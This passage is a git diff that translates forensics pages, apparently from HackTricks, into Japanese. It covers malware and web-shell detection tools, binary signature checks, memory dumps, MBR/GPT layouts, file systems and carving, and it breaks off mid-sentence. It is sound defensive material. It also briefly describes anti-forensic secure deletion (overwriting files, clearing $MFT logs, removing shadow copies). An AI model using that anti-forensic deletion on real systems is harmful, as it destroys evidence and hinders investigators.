### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss)は、さまざまな技術を使用して実行可能ファイル内の難読化された文字列を見つけようとするツールです。 ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper)は、実行可能ファイル内の基本的な情報(バイナリデータ、エントロピー、URLおよびIP、いくつかのyaraルール)をチェックします。 ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download)は、インポート、エクスポート、ヘッダーなどのWindows実行可能ファイルの情報を取得できるツールですが、ウイルス総合チェックも行い、潜在的なAtt\&ck技術を見つけます。 ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/)は、ファイルが**暗号化**されているかどうかを検出し、**パッカー**を見つけるためのツールです。 ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)は、テキスト/スクリプトファイル内の**難読化**された**暗号化**されたコンテンツを検出するためにさまざまな**統計的方法**を使用するPythonスクリプトです。NeoPIの目的は、**隠れたウェブシェルコードの検出**を支援することです。 ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)は、**難読化**された/**怪しいコード**や、**マルウェア**/ウェブシェルでよく使用される**PHP**関数を使用しているファイルを検出するために最善を尽くします。 ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +いくつかの**マルウェアサンプル**をチェックする際は、**バイナリの署名**を常に**確認**するべきです。署名した**開発者**がすでに**マルウェア**に関連している可能性があります。 ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## 検出技術 -## Detection Techniques +### ファイルスタッキング -### File Stacking +ウェブサーバーの**ファイル**を含むフォルダーが**最終更新された日付**を知っている場合、**ウェブサーバーのすべてのファイル**が作成および変更された**日付**を**確認**し、いずれかの日付が**疑わしい**場合は、そのファイルを確認してください。 -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### ベースライン -### Baselines +フォルダーのファイルが**変更されるべきではなかった**場合、フォルダーの**元のファイル**の**ハッシュ**を計算し、**現在の**ものと**比較**できます。変更されたものは**疑わしい**です。 -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### 統計分析 -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +情報がログに保存されている場合、各ウェブサーバーのファイルがどれだけアクセスされたかなどの**統計**を**確認**できます。ウェブシェルの一つである可能性が高いです。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 0d48e3bc2..46377f9c4 100644 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# メモリダンプ分析 {{#include ../../../banners/hacktricks-training.md}} -
+## 開始 -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +**マルウェア**をpcap内で**検索**し始めます。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用してください。 ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatilityはメモリダンプ分析のための主要なオープンソースフレームワークです**。このPythonツールは、外部ソースやVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを特定します。プラグインで拡張可能であり、法医学的調査に非常に柔軟です。 -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[ここにチートシートがあります](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## ミニダンプクラッシュレポート -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +ダンプが小さい場合(数KB、場合によっては数MB)これはおそらくミニダンプクラッシュレポートであり、メモリダンプではありません。 ![](<../../../images/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行中のモジュールなどの基本情報をバインドできます: ![](<../../../images/image (217).png>) -You can also load the exception and see the decompiled instructions +例外をロードしてデコンパイルされた命令を見ることもできます ![](<../../../images/image (219).png>) ![](<../../../images/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +いずれにせよ、Visual Studioはダンプの深さの分析を行うための最良のツールではありません。 -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +**IDA**または**Radare**を使用して**深く**検査するべきです。 ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 02ab3ddf6..7ff04fb40 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,147 +1,145 @@ -# Partitions/File Systems/Carving +# パーティション/ファイルシステム/カービング {{#include ../../../banners/hacktricks-training.md}} -## Partitions +## パーティション -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +ハードドライブまたは**SSDディスクは、データを物理的に分離する**ために異なるパーティションを含むことができます。\ +ディスクの**最小**単位は**セクター**(通常は512Bで構成されています)です。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 -### MBR (master Boot Record) +### MBR(マスターブートレコード) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +これは**ブートコードの446Bの後のディスクの最初のセクターに割り当てられています**。このセクターは、PCにどのパーティションをどこからマウントするかを示すために重要です。\ +最大で**4つのパーティション**を許可します(**アクティブ/ブート可能**なのは最大で**1つ**のみ)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクターの**最終バイト**はブートレコード署名**0x55AA**です。アクティブとしてマークできるのは1つのパーティションのみです。\ +MBRは**最大2.2TB**を許可します。 ![](<../../../images/image (489).png>) ![](<../../../images/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +MBRの**バイト440から443**の間には**Windowsディスク署名**が見つかります(Windowsが使用されている場合)。ハードディスクの論理ドライブレターはWindowsディスク署名に依存します。この署名を変更すると、Windowsが起動しなくなる可能性があります(ツール: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 ![](<../../../images/image (493).png>) -**Format** +**フォーマット** -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| オフセット | 長さ | アイテム | +| ------------ | --------- | ---------------------- | +| 0 (0x00) | 446(0x1BE)| ブートコード | +| 446 (0x1BE) | 16 (0x10) | 最初のパーティション | +| 462 (0x1CE) | 16 (0x10) | 2番目のパーティション | +| 478 (0x1DE) | 16 (0x10) | 3番目のパーティション | +| 494 (0x1EE) | 16 (0x10) | 4番目のパーティション | +| 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA | -**Partition Record Format** +**パーティションレコードフォーマット** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| オフセット | 長さ | アイテム | +| ------------ | -------- | ---------------------------------------------------------- | +| 0 (0x00) | 1 (0x01) | アクティブフラグ (0x80 = ブート可能) | +| 1 (0x01) | 1 (0x01) | 開始ヘッド | +| 2 (0x02) | 1 (0x01) | 開始セクター (ビット0-5); シリンダの上位ビット (6-7) | +| 3 (0x03) | 1 (0x01) | 開始シリンダの最下位8ビット | +| 4 (0x04) | 1 (0x01) | パーティションタイプコード (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | 終了ヘッド | +| 6 (0x06) | 1 (0x01) | 終了セクター (ビット0-5); シリンダの上位ビット (6-7) | +| 7 (0x07) | 1 (0x01) | 終了シリンダの最下位8ビット | +| 8 (0x08) | 4 (0x04) | パーティション前のセクター (リトルエンディアン) | +| 12 (0x0C) | 4 (0x04) | パーティション内のセクター | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +その後、次のコードを使用します。 ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (論理ブロックアドレッシング)** -**LBA (Logical block addressing)** +**論理ブロックアドレッシング** (**LBA**) は、コンピュータストレージデバイスに保存されたデータブロックの位置を指定するために使用される一般的なスキームであり、通常はハードディスクドライブなどの二次ストレージシステムに関連しています。LBAは特にシンプルな線形アドレッシングスキームであり、**ブロックは整数インデックスによって位置付けられ**、最初のブロックはLBA 0、2番目はLBA 1、というように続きます。 -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUIDパーティションテーブル) -### GPT (GUID Partition Table) +GUIDパーティションテーブル、通称GPTは、MBR(マスターブートレコード)と比較してその強化された機能のために好まれています。GPTは、**パーティションのためのグローバルに一意の識別子**を持つことが特徴であり、いくつかの点で際立っています: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **位置とサイズ**: GPTとMBRは両方とも**セクター0**から始まります。しかし、GPTは**64ビット**で動作し、MBRは32ビットです。 +- **パーティション制限**: GPTはWindowsシステムで最大**128パーティション**をサポートし、最大**9.4ZB**のデータを収容できます。 +- **パーティション名**: 最大36のUnicode文字でパーティションに名前を付けることができます。 -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**データの耐障害性と回復**: -**Data Resilience and Recovery**: +- **冗長性**: MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。ディスク全体にこのデータを複製し、データの整合性と耐障害性を向上させます。 +- **循環冗長検査 (CRC)**: GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合、GPTは別のディスク位置から破損したデータを回復しようとします。 -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**保護MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPTは保護MBRを通じて後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、したがってGPTフォーマットのディスク上のデータ整合性を保護します。 ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**ハイブリッドMBR (LBA 0 + GPT)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +**BIOS**サービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクターは**ブートローダー**コードの最初のステージを保存するためにも使用される可能性がありますが、**GPT** **パーティション**を認識するように**修正**されています。MBRのブートローダーは、512バイトのセクターサイズを仮定してはなりません。 -**Partition table header (LBA 1)** +**パーティションテーブルヘッダー (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +パーティションテーブルヘッダーは、ディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します(テーブルのオフセット80および84)。 -| Offset | Length | Contents | +| オフセット | 長さ | 内容 | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | +| 0 (0x00) | 8バイト | シグネチャ ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)リトルエンディアンマシン上) | +| 8 (0x08) | 4バイト | バージョン 1.0 (00h 00h 01h 00h) for UEFI 2.8 | +| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアン、バイト単位、通常は5Ch 00h 00h 00hまたは92バイト) | +| 16 (0x10) | 4バイト | [CRC32](https://en.wikipedia.org/wiki/CRC32) ヘッダーのCRC(オフセット +0 からヘッダーサイズまで)リトルエンディアンで、このフィールドは計算中にゼロにされます | +| 20 (0x14) | 4バイト | 予約; ゼロでなければなりません | +| 24 (0x18) | 8バイト | 現在のLBA(このヘッダーコピーの位置) | +| 32 (0x20) | 8バイト | バックアップLBA(他のヘッダーコピーの位置) | +| 40 (0x28) | 8バイト | パーティションのための最初の使用可能LBA(プライマリパーティションテーブルの最後のLBA + 1) | +| 48 (0x30) | 8バイト | 最後の使用可能LBA(セカンダリパーティションテーブルの最初のLBA − 1) | +| 56 (0x38) | 16バイト | ディスクGUID(ミックスエンディアン) | +| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA(常にプライマリコピーで2) | +| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 | +| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | +| 88 (0x58) | 4バイト | リトルエンディアンのパーティションエントリ配列のCRC32 | +| 92 (0x5C) | \* | 予約; ブロックの残りの部分はゼロでなければなりません(512バイトのセクターサイズの場合420バイト; ただし、より大きなセクターサイズではより多くなる可能性があります) | -**Partition entries (LBA 2–33)** +**パーティションエントリ (LBA 2–33)** -| GUID partition entry format | | | +| GUIDパーティションエントリフォーマット | | | | --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| オフセット | 長さ | 内容 | +| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (ミックスエンディアン) | +| 16 (0x10) | 16バイト | 一意のパーティションGUID (ミックスエンディアン) | +| 32 (0x20) | 8バイト | 最初のLBA ([リトルエンディアン](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8バイト | 最後のLBA(含む、通常は奇数) | +| 48 (0x30) | 8バイト | 属性フラグ(例: ビット60は読み取り専用を示す) | +| 56 (0x38) | 72バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | -**Partitions Types** +**パーティションタイプ** ![](<../../../images/image (492).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +より多くのパーティションタイプは[https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)にあります。 -### Inspecting +### 検査 -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクターを検査できます**。次の画像では、**セクター0**で**MBR**が検出され、解釈されました: ![](<../../../images/image (494).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +もしそれが**MBRの代わりにGPTテーブル**であった場合、**セクター1**にシグネチャ_EFI PART_が表示されるはずです(前の画像では空です)。 -## File-Systems +## ファイルシステム -### Windows file-systems list +### Windowsファイルシステムリスト - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,81 +149,81 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (ファイルアロケーションテーブル)**ファイルシステムは、そのコアコンポーネントであるファイルアロケーションテーブルをボリュームの開始位置に配置するように設計されています。このシステムは、**2つのコピー**のテーブルを維持することによってデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダーは**固定位置**に存在する必要があり、これはシステムの起動プロセスにとって重要です。 -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +ファイルシステムの基本的なストレージ単位は**クラスター、通常は512B**であり、複数のセクターで構成されています。FATはバージョンを通じて進化してきました: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**、12ビットのクラスターアドレスをサポートし、最大4078クラスター(UNIXでは4084)を処理します。 +- **FAT16**、16ビットアドレスに拡張され、最大65,517クラスターを収容します。 +- **FAT32**、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。 -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +FATバージョン全体にわたる重要な制限は、**最大ファイルサイズ4GB**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。 -Key components of the root directory, particularly for FAT12 and FAT16, include: +特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには以下が含まれます: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **ファイル/フォルダー名**(最大8文字) +- **属性** +- **作成、変更、最終アクセス日** +- **FATテーブルアドレス**(ファイルの開始クラスターを示す) +- **ファイルサイズ** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2**は、**ジャーナリング**しないパーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムであり、ブートパーティションのようなものです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。 -## **Metadata** +## **メタデータ** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +いくつかのファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによってはアナリストにとって興味深い情報を持っている場合があります。例えば、以下のような情報が含まれることがあります: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- タイトル +- 使用されたMS Officeバージョン +- 著者 +- 作成日および最終変更日 +- カメラのモデル +- GPS座標 +- 画像情報 -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)のようなツールを使用して、ファイルのメタデータを取得できます。 -## **Deleted Files Recovery** +## **削除ファイルの回復** -### Logged Deleted Files +### ログされた削除ファイル -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +前述のように、ファイルが「削除」された後でも、いくつかの場所にファイルがまだ保存されています。これは通常、ファイルシステムからファイルを削除することが単に削除としてマークされるだけで、データは触れられないためです。したがって、ファイルのレジストリ(MFTのような)を検査し、削除されたファイルを見つけることが可能です。 -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルまたはできるだけ多くの情報を回復しようとすることが可能です。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **ファイルカービング** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります:**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ自体に基づく**。 -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +この技術は**断片化されたファイルを回収するためには機能しない**ことに注意してください。ファイルが**連続したセクターに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。 -There are several tools that you can use for file Carving indicating the file types you want to search for +ファイルカービングに使用できるツールはいくつかあり、検索したいファイルタイプを指定できます。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### データストリーム **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +データストリームカービングはファイルカービングに似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\ +例えば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### セキュア削除 -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +明らかに、ファイルやそのログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで数回上書きし、その後**$MFT**や**$LOGFILE**からファイルに関する**ログを削除**し、**ボリュームシャドウコピーを削除**することが可能です。\ +この操作を行っても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんが、それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。 -## References +## 参考文献 - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index cd9e13a58..d910582df 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# ファイル/データ カービング & 回復ツール {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## カービング & 回復ツール More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is 